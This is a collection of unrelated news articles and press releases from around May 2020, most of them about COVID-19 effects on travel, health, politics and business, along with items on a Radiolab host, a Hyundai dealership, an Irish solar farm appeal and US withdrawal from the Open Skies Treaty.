"Podcasting is a medium built for social distancing," says 48-year-old Abumrad, who was spending time with his father in Nashville, but normally lives in Fort Greene, Brooklyn. "The entire Radiolab team is now spread out in different places, using laptops and mikes in our closets. I have friends who have lost their entire livelihoods so I feel incredibly lucky that I rolled the dice and somehow ended up with this career."

Abumrad, who is also an accomplished pianist and won a MacArthur "genius grant" in 2011, took on a very different subject with his latest nine-episode series, Dolly Partons America. As a kid in Nashville, he couldnt escape country musics most famous female singer-songwriter. At school his class took annual excursions to her theme park, Dollywood.
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Hyundai model research With all the Hyundai model research pages in one place, it is now much easier for drivers to learn more about what all the new models have to offer.

Finding all the information a driver needs to learn more about a new Hyundai model just got a lot easier thanks to a California dealership. Hyundai of Moreno Valley has just added a new model research page that offers detailed information on all its vehicles. From crossovers and SUVs to hybrids, sedans, hatchbacks and plug-in electric cars, shoppers can now find the details they need to make an informed buying decision. With all the Hyundai model research pages in one place, it is now much easier for drivers to learn more about what all the new models have to offer.

The Hyundai model research page offers drivers a closer and more detailed look at all the new vehicles so they can have the information they need to make an informed buying decision. Visiting the new research page will give shoppers a better understanding of what every new Hyundai model has to offer. The information available on the Hyundai research pages include each model's technology and comfort features, engine options, safety features, available inventory and much more.

To learn more about any new Hyundai model or to view current sales, drivers can visit the California Hyundai dealerships website by going to http://www.hyundaiofmorenovalley.com. Shoppers may also contact the sales department at Hyundai of Moreno Valley with questions by dialing 951-900-4248 or by driving to 27500 Eucalyptus Ave.
T he Tory boss of a Kent council today pleaded for government help with the number of migrant children landing on the coast, saying we cannot cope.

Roger Gough, leader of Kent County Council, said the numbers of migrant children crossing the Channel was unsustainable and the authority was being overwhelmed.

Asylum-seeking children are taken into the care of the council if they arrive unaccompanied.

Councillor Gough also took aim at the government, saying the country did not have its processes sorted out.

He added: Once the children arrive in Dover we need to have a clear response and thats not happening.

A group of people thought to be migrants are brought into Dover, Kent, onboard a Border Force boat following a number of small boat incidents in The Channel / PA

He said the numbers were soaring to the levels they experienced during the 2015 migrant crisis and that 180 young people had come into their care so far this year  twice the level they experienced in the same period last year.

The Conservative councillor said in the month of May alone they had 50, adding: That is heading to a point that is unsustainable.

He told BBC Radio 4s Today Programme: At the moment clearly not enough is happening to stop those journeys and more needs to be done because what we are seeing is arrivals on a scale which we in Kent certainly cannot cope with.

There is criminal activity clearly behind that. The problem emerging now at this end is that we - and we are a large local authority with a lot of experience in this area - but our capacity is being overwhelmed.

Minister Brandon Lewis (Photo: DANIEL LEAL-OLIVAS / AFP) / AFP via Getty Images

He said the council's director of childrens services told him he will need a direction within the next few weeks to go and collect those children from the port because we will not be able to deliver a safe service and our statutory responsibilities.

He also said children were now coming in on boats whereas historically they used to enter via lorries.

Councillor Gough previously said the route had changed because of a drop in the number of lorries travelling from France due to coronavirus.

It comes after a number of reports of migrants being rescued from tiny dinghies by the UK Border Force in the English Channel.

Northern Ireland Secretary Brandon Lewis was asked about the number of migrants crossing the Channel on LBC this morning.

He said: Weve seen over the years that the criminalswho bring people over on these treacherous journeys will go to any means.

What weve found at various points in different ways people have brought people over weve had to crack down on that, deal with it.

This is another challenge, people are using another route to bring people in. I know the Home Secretary  as she outlined yesterday  is absolutely determined to work to drive that down and stop this kind of behaviour. Ultimately this is criminal behaviour that is putting peoples lives at risk.

Regardless of where someone comes from its a tragic and risky journey they should not be taking.

A Home Office spokesperson said: The government takes the welfare of unaccompanied children very seriously and provides funding to local authorities, including Kent, as a contribution to the cost of supporting unaccompanied children and those who leave care. This funding was significantly increased in May 2019.

The ruthless criminal gangs behind illegally-facilitated small boat crossings put peoples lives in grave danger and we are working closely with all our partners to dismantle this illegal trade and bring people smugglers to justice.
President Donald Trump said he wore a face mask, but declined to appear in one publicly, during his tour of the Rawsonvillle manufacturing facility in Michigan after Ford and the Michigan Attorney General requested that he adhere to executive orders and company policy requiring facial coverings.

Ford officials wore face coverings during the tour, according to a pool report, but Trump did not. The president said he put one on in an area where they preferred it," and later showed reporters a navy blue mask decorated with the presidential seal.

I didnt want to give the press the pleasure of seeing it, Trump told reporters.

Trumps visit to the Ypsilanti Township plant opposes two of Gov. Gretchen Whitmers executive orders requiring manufacturing facilities to suspend non-essential in-person visits and compelling people to wear a facial covering while inside an enclosed public space. Attorney General Dana Nessel sent an open letter to the president Wednesday saying she will not act to prevent the president from touring the Ford plant but asked him to comply with Whitmers orders regarding masks.

I ask that while you are on tour you respect the great efforts of the men and women at Ford -- and across this State -- by wearing a facial covering, Nessel wrote. It is not just the policy of Ford, by virtue of the governors executive orders. It is currently the law of this state.

Fords policy handbook created to address the coronavirus pandemic states everyone is required to wear face masks at all times by all employees and all visitors.

We have shared our policies and recommendations," the company said in a statement Tuesday. The White House has its own safety and testing policies in place and will make its own determination.

The CDC recommends people wear cloth face coverings in public settings where social distancing is difficult to maintain. Masks prevent the wearer from spreading respiratory droplets that could carry the virus, and more advanced coverings like N95 respirators offer some protection for the wearer.

Trump was greeted by House Speaker Lee Chatfield, R-Levering, when he landed in Detroit. Chatfield wore an American flag face-covering.

Speaker of the Michigan House of Representatives Lee Chatfield (R-Levering) President Donald Trump arrives on Air Force One at Detroit Metropolitan Airport in Romulus on Thursday, May 21, 2020.

Republican U.S. Senate candidate John James also wore a mask during a roundtable discussion with Trump, administration officials and Detroit-area business leaders.

Vice President Mike Pence wore a mask during a tour of a General Motors plant in Indiana last month. Trump did not commit to wearing a mask before the visit when asked Tuesday at the White House.

It depends. In certain areas I would, in certain areas I dont," he said. "But I will certainly look at it. It depends on what situation. Am I standing right next to everybody, or am I spread out? And also you look, is something a hospital? Is it a ward? What is it exactly? Im going to a plant. So well see. Where its appropriate I would do it certainly.

The White House issued a memo requiring all of visitors and staff to wear masks last week. Multiple people close to the president have tested positive for the virus; most recently one of Trumps personal valets and the vice presidents spokeswoman both tested positive.

Trump is tested for the coronavirus daily, and there is no indication that he is carrying the infectious respiratory disease.

Dr. Rob Davidson, an emergency care physician and executive director for the Committee to Protect Medicare, said wearing a mask sets a strong example for the rest of the country.

People in Michigan are watching, millions of people are watching him every time hes in public and having these quasi-rallies, Davidson said. Really for the casual passerby who happens to look up at their TV set and are watching a Trump event and see the president without a mask, that just plants the seed in their head that says people are telling me to do this but I dont really think its that important because the president doesnt think its important.'"

U.S. Rep. Debbie Dingell, D-Dearborn, also urged Trump to wear a face-covering during an appearance on CNN Thursday morning. Dingell is a former auto executive for General Motors and represents Ypsilanti Township in Congress.

Leaders need to lead, Dingell said on CNN. I hope the president will follow the protocols because people will see the importance of wearing those masks. It matters.

Dingell also highlighted the importance of wearing facial protection in a separate statement released this week.

Ford has already had to temporarily halt production at two plants because workers tested positive for COVID after coming back to work, the statement read. The spread is real. No one is above these steps, and it is my respectful wish that Trump and his entire team take these protocols seriously. Their actions do have consequences, and wearing the masks might save a life.

COVID-19 PREVENTION TIPS

In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus.

Health officials say you should be staying at least 6 feet away from others and working from home, if possible.

Use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home (door handles, faucets, countertops) and carry hand sanitizer with you when you go into places like stores.

Michigan Gov. Gretchen Whitmer has also issued an executive order requiring people to wear face coverings over their mouth and nose while inside enclosed, public spaces.

Additional information is available at Michigan.gov/Coronavirus and CDC.gov/Coronavirus.

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DENVER, May 22, 2020 /PRNewswire/ -- On Thursday, May 14, ERP Advisors Group hosted a conference call to discuss how to optimize ERP solutions, predict inventory fluctuations, and accelerate plans to bring e-commerce solutions online, in order to deal with COVID-19 disruption. A video of the entire call is available at erpadvisorsgroup.com/events.

ERP Advisors Group

Shawn Windle, the Founder and Managing Principal of ERP Advisors Group, explained, "It all comes back to having a fundamental understanding in Sourcing, Inventory, Production and Logistics of what really is there. How much logistics capacity do you have, for example? Having all that data defined and understood in your system so stakeholders can make an instant decision is incredibly vital. And fortunately, ERP can provide that."

Watch the full video here: https://erpadvisorsgroup.com/post/addressing-supply-chain-disruption-with-erp-optimization/.

While no one could have predicted the impact of COVID-19, Windle pointed out that it is time to use ERP tools to rethink supply chain models.

"Knowing what we've been through with COVID-19  what really is a safety stock number?" he said. "If we look at some basic planning for supply chain planning and inventory planning, I will tell you that most of the folks that we're working with are increasing those numbers."

Windle also noted the role that ERP forecasting tools can play in helping account for disruption: "We are working with several clients on how they can make their forecasts, their demand plans, and even their analytics provide a much more accurate look into the future. And remember that while you have these forecasting and planning tools, there always is the need for the human element to take a look at that and make sure that it makes sense. ERP is only as good as the data that you put into it."

ERP Advisors Group is one of the world's most trusted enterprise software advisory firms. Helping hundreds of organizations find the right solutions to meet their unique needs, ERP Advisors Group is technology independent, with a proven track record of successful software selections that lead to successful go-lives.

Media Contact:

Shaun Orthmann

720-542-7801

[email protected]

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The family and friends of a young Lisburn mother who died from cancer this week after Covid-19 stopped her treatment have paid tribute to her bravery.

Melissa Rose Livingstone (36) passed away at home in Dunmurry on Monday surrounded by her family.

She is survived by her two-year-old daughter Rose, siblings Samantha and Paul, and parents Deirdre and John.

Her death comes shortly after another tragedy for her family. Ms Livingstone's partner Dominic Chambers (30) died in his sleep in October from heart failure.

On the same day she also received the devastating news that her rare form of cancer had moved to her lungs and was terminal.

She had previously been diagnosed with breast cancer in 2017 when she was four months' pregnant.

Hoping to spend as much time with her daughter as possible, doctors had hoped chemotherapy could extend her life.

Having completed her first round of treatment in February, her next planned session in March had to be cancelled as the sudden pressure of Covid-19 disrupted health services.

By May she was told that she only had weeks left to live.

Speaking to the Belfast Telegraph, sister Samantha (38) thanked those who had contributed nearly 6,000 so far to fund research into her sister's condition.

"Everybody is just a bit numb. We're relieved she's no longer in pain, but it's just very sad," she said.

"She fought hard towards the end but it was the outcome that she didn't want."

She said her sister had been "extremely brave" in dealing with both her partner's death and diagnosis at once.

With a love of photography and craftwork, Samantha said that as an accountant her sister was also the mathematician of the family.

"You can see how she lives on in Rose, she's very analytical for her age and is brilliant at jigsaws.

"We've been reading books to try and explain what's happening. But she's still very young, and of course there will be some tough conversations over time.

"We've always been a really close family and my sister made it clear what she wants, so we'll do everything she had hoped for Rose."

She was a beautiful girl, inside and out. She had the most infectious smile. Even in her illness she never lost that Eimear McLean

Life-long friends of Mel also praised her for how she handled the tragedy of losing her partner and the devastating return of her cancer within such a short space of time. Eimear McLean said: "She was a beautiful girl, inside and out. She had the most infectious smile. Even in her illness she never lost that."

Nuala Whittaker said she wanted to support others right to the end. She spoke of how on the last time they met, Mel even asked how she was doing.

"She was just so strong and brave throughout and right to the end," she said.

Clare Beggs added: "She was a lovely, sunny personality and so positive."

Expand Close Meilssa Livingstone with Anna Bell, Eimear McLean, Nuala Whittaker and Clare Beggs / Facebook

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Whatsapp Meilssa Livingstone with Anna Bell, Eimear McLean, Nuala Whittaker and Clare Beggs

Anna Bell added: "Even when her chemo was cancelled, she was devastated, but she just got on with it for Rose.

"She had spoken of how in 2020 she wanted to have another child, but it wasn't to be. It is such a tragic story, she had such strength and resolve.

"Mel was so kind and generous. And even now something good is happening in her name with the money raised through the fundraiser."

Details on the fundraiser can be found at justgiving.com/fundraising/melissa-rose-livingstone
At the same time, Chinas economy has powered much of Australias economic growth, employment and living standards over the last 20 years. And China is increasingly prepared to deploy its economic leverage to secure its wider objectives.

Second is the very nature of our political system. We are proudly a liberal democracy while China is a Marxist-Leninist state that for 70 years has brutally suppressed any internal dissent.

First is our robust alliance with America, given Beijings extensive covert, and now increasingly overt, strategic competition with Washington. It spans our region and the globe, across all domains  military, economic, technological, foreign policy and now, increasingly, ideological.

We are therefore in a more binary world. Contrary to the belief of some Australian ministers and their media supporters, we are not alone in facing these strategic dilemmas. Japan, another democratic US ally, faces a more acute challenge given its geographical proximity, trade dependency and active territorial disputes with China. So too does South Korea. Many of Americas NATO allies, including Norway and Canada, have spent years in the Chinese sin bin because of various human rights and Huawei-related ruptures.

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Previous Australian Labor governments have also dealt with these dilemmas. Hawke incurred Beijings wrath over Tiananmen. Our Labor government provoked Chinas objections over: our 2009 Defence White Paper calling out Chinese actions in the South China Sea; our initiation of the Australian Navys biggest expansion program since the war; the basing of US forces in Darwin; our rejection of Chinas attempted takeover of Rio Tinto; our human rights activism in support of Tibet, Xinjiang and Chinese-Australian nationals; and our ban on Huawei involvement in the NBN.

Indeed, these actions contrast starkly with Liberal luminaries like Alexander Downer (later a Huawei board member) breaching US-Australian solidarity over Taiwan, Tony Abbotts stunning agreement to lease the Port of Darwin to the Chinese, and Malcolm Turnbulls efforts to overturn our governments Cold War mentality towards Beijing, including reviewing our stance on Huawei.

The COVID-19 pandemic has magnified, accelerated and now turbo-charged these dynamics. The uncomfortable truth for Beijing is that the international community deserves answers to legitimate questions about this virus, which has so far infected almost 5 million people, killed more than 320,000 and forced world governments to spend $US9 trillion (13 per cent of global GDP) on fiscal stimulus to stave off depression. These legitimate questions include Chinas failure to close wildlife wet markets after the SARS epidemic in 2003, the failure to contain the virus locally early on; as well as Beijings dealings with the World Health Organisation in the critical weeks that followed. Obtaining answers to these questions will not exonerate the subsequent failure of governments, notably the US, to prepare properly once warnings were issued. But they will be fundamental to the worlds future dealings with China.
Air India has resumed bookings for domestic flights for journeys from May 25 onwards. The airline took to Twitter on Friday morning stating that it is starting bookings from 12:30 pm today.

The resumption in online bookings have come after Civil Aviation Minister Hardeep Singh Puri said on Wednesday that flight operations would resume from Monday. The ministry has also released an extensive set of guidelines for passengers who would travel from Monday.

#FlyAI : Good News !

Our Domestic Flight Bookings will start from 1230 hrs today. To book login to https://t.co/T1SVjRD6o5 or contact authorised travel agents or visit our booking offices or call customer care . #Flythenewnormal Air India (@airindiain) May 22, 2020

Puri had stated domestic flight services would be resumed in a calibrated manner, with a few flights operating on Monday. The frequency of flights would be gradually increased.

Also read: Domestic flights to resume on Monday: What to keep in mind when you go to airport?

Regulatory body Directorate General of Civil Aviation (DGCA) has also capped the fares for airlines for the next three months in order to keep flight tickets affordable. The DGCA has capped the fares according to seven bands. Here's how the pricing would be decided:

Class A (less than 40 mins): Rs 2,000 to Rs 6,000

Class B (40-60 mins): Rs 2,500 to Rs 7,500

Class C (60-90 mins): Rs 3,000 to Rs 9,000

Class D (90-120 mins): Rs 3,500 to Rs 10,000

Class E (120-150 mins): Rs 4,500 to Rs 13,000

Class F (150-180 mins): Rs 5,500 to Rs 15,700

Class G (180-210 mins): Rs 6,500 to Rs 18,600

Additionally, passengers who are flying would also would require to prove that they are fit to fly through the contact tracing app Aarogya Setu or through a self-declaration form. Passengers would also require to wear protective gear including masks and gloves.

Passengers must also keep in mind that if they are from a containment area, then they would not be allowed to fly. Moreover, there would be no check-in at counters, passengers would have to check-in online and obtain a baggage identification number.

Also read: Domestic flights to resume: No over-the-counter check-in; only web check-in allowed

Also read: Domestic flights rules: Staying in a containment zone? You're not allowed to fly
Photo credit: PlanBay

From Popular Mechanics

French aeronautical engineer Florian Barjot has come up with a concept to protect airplane passengers from spreading COVID-19 (coronavirus).

PlanBay (get it?) is a kit that allows flight crews to quickly transform middle seats into physical barriers, complete with a plexiglas partition.

Since people still must use the aisles to board and go to the restroom, it's not a perfect system. But it's better than nothing.

For now, flying during the middle of a pandemic probably isn't a great idea. But eventually, as governors lift stay-at-home restrictions and the world returns to somewhat normal travel patterns, there must be a way to facilitate airline passengers.

We've done the math, and a Southwest 737-700, for instance, could still hold 99 passengers if the middle seats are eliminated (or at least kept empty). And Delta is already blocking middle seats until July.

French aeronautical engineer Florian Barjot has run with that idea, coming up with "PlanBay," which sacrifices the middle seat for a pane of plexiglas. Since there's only about 3.5 feet of space from the window seat to the middle aisles on most commercial aircraft, this addition could make social distancing much more likely.

"Modern aircrafts have efficient air systems that prevent the contagion from one person to the entire passenger population, but the health authorities recommend one-meter distancing, which is hardly achievable in economy class, even with an empty middle seat," Barjot writes on the PlanBay website. "In order to improve the distancing, I imagined this removable kit for an unused seat, that can be used temporarily for the time of an epidemic outbreak and the recovery phase."

Barjot's concept just may work, because it doesn't seek to rehaul the entire interior of a jetinstead, it proposes a removable, temporary solution. Barjot also claims the device doesn't cost much, which is ideal for the airline industry, as it's currently under massive financial strain.

Story continues

To start, because the rows of seats on an airplane aren't six feet apartto which anyone with long legs can attestPlayBay uses a plastic panel above each row to extend the height of the seats. The panel extends down the backside of the middle seat and is strapped into place so it hugs the upright tray.

The piece is just wide enough that it can also cover the gaps between the middle seat and the window and aisle seats. This way, if a person sitting behind you coughs, you don't have to worry as much.

From the front angle, a plastic partition runs right down the middle of the center seat to separate the person sitting in the window seat from the person in the aisle seat. This is optimal because otherwise, to keep people six feet apart, it would be necessary to remove some components. In another design, for example, some seats are rear-facing to create more space. In Barjot's version, there's no need for that.

While Barjot has applied for a patent, it's still not clear whether his idea will soar. In a statement on post-COVID-19 air travel, the International Air Transport Association (IATA)the industry's trade associationdirectly heeds against such designs.

The IATA "supports the wearing of face coverings for passengers and masks for crew while on board aircraft as a critical part of a layered approach to biosecurity to be implemented temporarily when people return to traveling by air," according to the statement, but "does not support mandating social distancing measures that would leave 'middle seats' empty."

Part of the concern is that leaving middle seats emptyin turn, decimating at least one-third of potential profitwill jack up the price of a ticket. That's not a risk the IATA wants airlines to take in the midst of a financial crisis, where travelers are already weary.

Still, Barjot's plan is compelling, and if he can prove that more passengers will feel comfortable boarding planes with his design in place, he may secure a partner. Just don't get your hopes up that you'll never have to sit in the dreaded middle seat again.

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Britons have probably piled on the pounds while stuck indoors, the countrys top obesity and diabetes doctor warned yesterday.

Jonathan Valabhji said adults were burning fewer calories because they were not travelling to work or carrying out other daily activities.

He said the pandemic should however serve as a life-changing trigger for changes in behaviour  especially as studies have indicated that coronavirus is more deadly for the obese.

Professor Valabhjis research showed this week that patients with Type 2 diabetes, which is linked to obesity, were twice as likely to die than otherwise healthy individuals. His study of 24,000 patients found that nearly a third of those who died had diabetes, and that being morbidly obese further increased the risk of death.

Pictured: NHS diabetes chief, Professor Jonathan Valabhji

Professor Valabhji, who is national clinical director for diabetes and obesity at NHS England and NHS Improvement, said: A lot of people have spent a lot of time sitting indoors and there is a risk people have gained weight.

We wont know that [for certain] until we see people start emerging from social distancing and we start putting people on scales.

For someone like myself, its a concern, its a worry for me.

You can see the risk that people might have gained weight sitting at home limited in what exercise they can do, not going about their daily activities and going to work. Am I worried that people have gained weight during this time? Yes, its not unreasonable to suppose that if people are stuck indoors they may have gained weight.

Professor Valabhji, a consultant diabetes specialist at St Marys Hospital in central London, said coronavirus was an opportunity to start a healthier life.

One would hope that simple public health messages would land and land a little more strongly. If this is an ideal time to land a public health message  which I do believe it is  it would be eating healthily, eating a little less if youre in the obese range and losing weight. Exercise is all part of that especially at a time when were no longer limited to one piece of exercise a day.

The professor said that although adults could not change the other major risk factors for coronavirus  age and ethnicity  they could influence obesity and Type 2 diabetes.

The important thing about weight loss is that it has to be sustainable  incorporating habits that will last, he added.

Slowly and gradually incorporating habits that one can maintain is important. If people are in the obese range, then eating a little bit less, eating more healthily and exercising a bit more are intuitive ways to go forward.

Earlier this month NHS figures showed that 26 per cent of men and 29 per cent of women are obese, which is defined as having a Body Mass Index of more than 30. Around 4.8million Britons have diabetes  the majority Type 2  and rates have doubled in 20 years in line with rising obesity.

These levels are significantly higher than many other Western countries, prompting speculation that they may partly explain why the UKs coronavirus death rates are the worst in Europe. Professor Valabhji said: Diabetes is an independent risk factor for passing away with Covid... whether that is contributing to higher death rates in this country compared with others, I dont think I can answer that and similarly with obesity.

Other health experts are concerned that adults and children have been snacking more since the lockdown and ordering more takeaways. Caroline Cerny of the Obesity Health Alliance, a coalition of 44 medical colleges, charities and campaign groups, said: Several surveys have shown that we are all snacking more during lockdown and its likely that this will lead to weight gain.

This isnt helped by food companies continuing to aggressively market their unhealthy foods to us to ensure they stay centre stage in our minds while we are a captive audience.

Earlier this month the Health Secretary, Matt Hancock, ordered health officials to trawl through the records of thousands of pandemic victims to determine whether obesity, ethnicity and gender raise the risk of death from coronavirus.

The review was commissioned after researchers at the University of Liverpool warned that obesity increased the risk of dying from the virus by 37 per cent.
Pentagon: US Will Formally Submit Notice to Withdraw From Open Skies Treaty Friday

Sputnik News

23:00 GMT 21.05.2020(updated 23:23 GMT 21.05.2020)

The US Department of Defense (DoD) on Thursday said that the US would formally submit its request to withdraw from the Open Skies Treaty on Friday.

In a statement, the DoD wrote that "Russia has increasingly used the treaty to support propaganda narratives in an attempt to justify Russian aggression against its neighbors and may use it for military targeting against the US and our allies."

The statement also said that Russia has "continuously violated its obligations under the treaty."

On Thursday, Vladimir Ermakov, the head of the Department for Nonproliferation and Arms Control at the Russian Foreign Ministry, said that if the US does withdraw from the treaty, it will be "regrettable."

"If it does happen, it will be very regrettable, of course. But unfortunately, it goes with the general policy of the current [US] administration [which aims to] derail all agreements on arms control. This treaty is crucial in terms of ensuring predictability and mutual trust in Europe and on a larger scale," the diplomat said.

Two US lawmakers on Thursday introduced legislation to prevent US President Donald Trump from withdrawing the nation from international treaties without first getting congressional approval.

"Senator Edward J. Markey and Congressman Jimmy Panetta today introduced the Preventing Actions Undermining Security without Endorsement (PAUSE) Act to prevent a US president from withdrawing from international treaties without Congressional approval," the statement by Markey read.

The Open Skies Treaty, which entered into force in 2002, establishes a program of unarmed aerial surveillance flights over the entire territory of the states who are members of the accord.

A Sputnik

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An appeal to An Bord Pleanala by the residents and farmers of Ballykenny, Tully and Brianstown against the granting of planning permission for a proposed 19 hectare solar farm development at Ballykenny, Co Longford has failed.

On October 24 last year, Longford County Council granted permission, subject to conditions, to Ballykenny Solar Limited, care of Grasstec Limited of Kilpatrick, Ballyclough, Mallow, County Cork for the project to proceed.

Ballykenny Solar Ltd sought a 25 year permission for a solar farm up to 19 hectares, with an export capacity of approximately 9 MegaWatts.

The farm would comprise of photovoltaic panels on ground mounted steel frames, a single storey DNO building, customer room, control building, storage container, HV kiosk, switchgear housing and six inverter transformer enclosures, ducting and electrical cabling, perimeter fencing, mounted CCTV cameras, new internal access tracks and associated drainage infrastructure and all associated site works at Ballykenny.

The site is adjacent to the existing ESB Richmond electricity substation.

The residents and farmers of Ballykenny, Tully and Brianstown, last November, lodged their appeal, seeking a refusal of permission for the solar farm and earlier this month, on May 8, An Bord Pleanala rubber-stamped the granting of permission with revised conditions.

An Bord Pleanala stated that having regard to the provisions of the Longford County Development Plan 2015 to 2021, the solar farm would not seriously impact on natural heritage, the amenities of the area or property in the vicinity or give rise to a traffic hazard.

It added, It (the solar farm) would supply renewable energy to the national grid and substitute for non-renewable generation and would be in accordance with the proper planning and sustainable development of the area.

The appellants expressed concern Lough Forbes Complex Special Area of Conservation and the Ballykenny-Fisherstown Bog Special Protection Area could potentially be affected by the proposed solar farm but An Bord Pleanala disagreed.

It said: Subject to compliance with the mitigation measures as set out in the submitted Natura Impact Statement, as modified by Inspector Dolores McCague in her report, the proposed development, individually or in combination with other plans or projects, would not adversely affect the integrity of these two European sites.

The inspectors report and decision is published in full on the An Bord Pleanala website www.pleanala.ie.
Amazon has forayed into the country's food delivery segment currently dominated by food tech unicorns Swiggy and Zomato. The Jeff Bezos-led e-commerce firm will start its operations in Bengaluru and allow customers to order food from local restaurants and cloud kitchens. It is currently delivering to four pin codes in the city. The company said that it is "adhering to the highest standards of safety" amid the coronavirus crisis and has constructed a proprietary hygiene certification bar. Amazon plans to provide 'contactless delivery' from local restaurants, around the vicinity of the customer.

"Customers have been telling us for some time that they would like to order prepared meals on Amazon in addition to shopping for all other essentials. This is particularly relevant in present times as they stay home safe. We also recognise that local businesses need all the help they can get. We are launching Amazon Food in select Bangalore pin codes allowing customers to order from handpicked local restaurants and cloud kitchens that pass our high hygiene certification bar," said an Amazon spokesperson.

The government recently allowed the e-commerce players to deliver both essential and non-essential items in red zones as well. Earlier, the e-tailers were only allowed to sell non-essential items in green and orange zones only.

On Monday, Swiggy announced that it will be laying off around 1,100 of its employees to absorb the impact of coronavirus pandemic. In a blog post, the company revealed that it will scale down businesses that are not going to be relevant for the next 18 months. They have also stated that the company will provide financial, emotional and career-related support to the impacted employees.

Meanwhile, Swiggy has reportedly announced home delivery of alcohol in Ranchi today. Liquor would be delivered through the 'Wine Shops' category on the app. The feature was launched after the app received the nod from the Jharkhand government. The service would be extended to other cities within a week.

Also read: Lockdown 4.0 Coronavirus Live Updates: SoPs for domestic flights! Aarogya Setu app mandatory; cases-1.12 lakh

Also read: Domestic flights to resume on Monday: What to keep in mind when you go to airport?
Bill Zielinski is set to depart the General Services Administration June 5 to take the CIO job in the city of Dallas. His 30-year federal career included some strategic, big-picture posts, such as branch chief for agency oversight at Office of Management and Budget, and the Social Security Administration's CIO.

In 2018, he became Information Technology Category assistant commissioner at GSA in 2018, leading federal IT capital planning and investment control, and helping agencies with overall IT acquisition strategy. He had previously served as deputy assistant commissioner, a role in which he won a Federal 100 award.

His advice for GSA going forward is to "lean in" and take a more active role in how agency customers approach modernization.

"Previously our tendency was to wait for agencies to show up at our doorstep and say 'I'm ready to buy IT now.' The way the market is being driven, we need to engage earlier with agencies and be part of the strategic discussion," Bill Zielinski, assistant commissioner for the Office of Information Technology Category (ITC) in GSA's Federal Acquisition Service (FAS) told FCW in a June 20 exit interview.

"We have a lot of value to add in that strategic discussion," said Zielinski. "If we wait for them to show up, then we're not going to be driving the best outcomes for agencies."

The agency is already doing a good work understanding and addressing that need, he said, but complacency in the fast-moving IT technology is dangerous. In the last several years, the agency has been crafting contracting vehicles, such as its $50 billion, next generation Enterprise Infrastructure Solutions (EIS) telecommunications contract, and Alliant 2 government wide acquisition contract and others, as well as efforts to push advanced solutions and buying methods ahead. The agency's commercial acquisition portal project, which is still in the works, will give agencies a buying platform similar to commercial platforms such as Amazon and EBay.

Zielinski said that in the last few months, the COVOD 19 pandemic has forced agencies to accelerate their modernization plans, reevaluate, or rewrite some of them. It also redirected the GSA's short-term goals.

The pandemic response forced GSA to slow one of its most cutting edge efforts, it's e-commerce platform. The agency said in April it was turning its attention to the pandemic response and pushing the platform to the back burner for a while, as it needed its full attention on helping federal customers with their immediate needs. It had to settle a number of protests over the solicitation, as well.

The pump on the brakes, however, doesn't mean it's stopped, according to Zielinski.

"We're pleased with progress on proof on concept," he said. The agency "is hoping to award in the coming months the proof of concept" contract for the platform, he said. "We're feeling comfortable about where we are" with the platform.

The pandemic has also underlined the importance of supply chain issues. "This pandemic has only highlighted the importance of a healthy supply chain and the need to understand the chain of control. Prior to the pandemic, our collective focus was on the potential risk in the supply chain posed by bad actors through direct attacks or intellectual property theft. The pandemic demonstrated that as demand spikes for particular devices or services, it's clear that we need a clearer picture of what the supply chain of those critical devices and services looks like so we can more readily help deploy capabilities.

Zielinski said the Federal Acquisition Security Council, created in 2018 to examine supply chain risks, is organizing and sharing threat risks. With that work, Zielinski said it was also important for GSA to talk with industry to get ideas, as well as to communicate what's expected from them. With increasing Congressional interest in protecting supply chain, Zielinski said it is also important to understand the potential impact of changing requirements to vendors already in the supply chain, as well as for new entrants, particularly small businesses, into the federal market.

Another pressing issue for FAS has been transitioning federal agencies from old telecommunications contracts to the EIS vehicle.

The process has been slower than anticipated, with the agency pushing an initial 2020 transition deadline to 2023. In spite of that extension, there has been criticism from industry and from Congress that the process remains hopelessly slow.

Zielinski, however, doesn't expect GSA to cut agencies any more time to the 2023 transition deadline. "I don't think it's necessary and I don't expect a large broad amendment" to the deadline to give agencies more time to move their telecommunications over from old contracts.

With the re-prioritization of agencies' IT and telecommunications needs in the wake of the pandemic, GSA is "evaluating on a case-by-case basis and working with agencies to achieve their transition goals."

Some agencies are reevaluating those goals in crafting EIS solicitations, he said.

"They are looking at some different mixes. For those who may have considered other types of options, they're really looking at how they can move to improve digital services, or add more cloud infrastructure to allow them to able to scale up quickly" to serve remote users.

The broad, fast move to remote work for federal agencies, is "changing the thinking on how to deliver" remote access, he said. "We are seeing that to some degree in the work agencies are doing."

Zielinski has a more pragmatic take on the congressional frustration over sluggish agency transitioning, saying the attention shows the contract's importance to the future of federal IT has broader support.
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By West Kentucky Star Staff

May. 21, 2020 | CALVERT CITY

By West Kentucky Star Staff May. 21, 2020 | 10:29 AM | CALVERT CITY

A yearly Calvert City summer tradition has been canceled due to concerns about coronavirus.



Organizers announced Thursday all events pertaining to Ameribration this year have been canceled.



"It is sad that many important summer activities must be canceled. The response from the Governor's staff was clear about no large gatherings. Therefore, since they are large gatherings, the 4th of July festivities are not allowed," said Mayor Lynn Jones.



One of Calvert City's largest events, Ameribration draws thousands of people each year with arts and crafts, live music, cornhole tournament, a parade, and fireworks.



"While I am greatly disappointed, I am excited to announce that 2021 is the 150th Anniversary of Calvert City's founding. The celebration for 2021 Ameribration will be the most fantastic. It is going to be a really, really, big event," said Jones. Calvert City was founded in 1871 and plans to organize a fun-filled long weekend in 2021 to celebrate Calvert City. "I'm sorry this year's event must be canceled but we will continue to do our part to stay safe, healthy, and happy."



Also planned for the summer was a six-week summer camp program. Because of guidelines set by the Governor's office, the summer camp program will be postponed.



"The summer camp for Calvert City's youth does not meet the Governor's requirements and will be postponed until the summer of 2021," Jones said.
Four COVID-19 outbreaks are over in Hamilton, but the only remaining resident of Rosslyn Retirement Residence to test negative for the virus is now positive.

Hamilton public health says outbreaks are over at Grace Villa on the east Mountain, where two staff tested positive; Idlewyld Manor on Sanatorium Road, where one resident tested positive; Dundurn Place Care Centre on Mary Street, where 12 residents and three staff tested positive and two residents died; and Wentworth Lodge in Dundas, which was in outbreak as a result of false positives.

Public health waited to until all Wentworth Lodge staff results were received before declaring the outbreak officially over.

At Rosslyn Retirement Residence, site of an unprecedented COVID-19 outbreak which involved a staffing shortage so severe the entire home had to be evacuated last Friday, all residents are now COVID-positive.

Public health initially said 63 of the 64 residents had tested positive. One tested negative. But on Thursday, they confirmed all 64 are now positive.

One patient retested positive from negative, said Kelly Anderson, public health spokesperson.

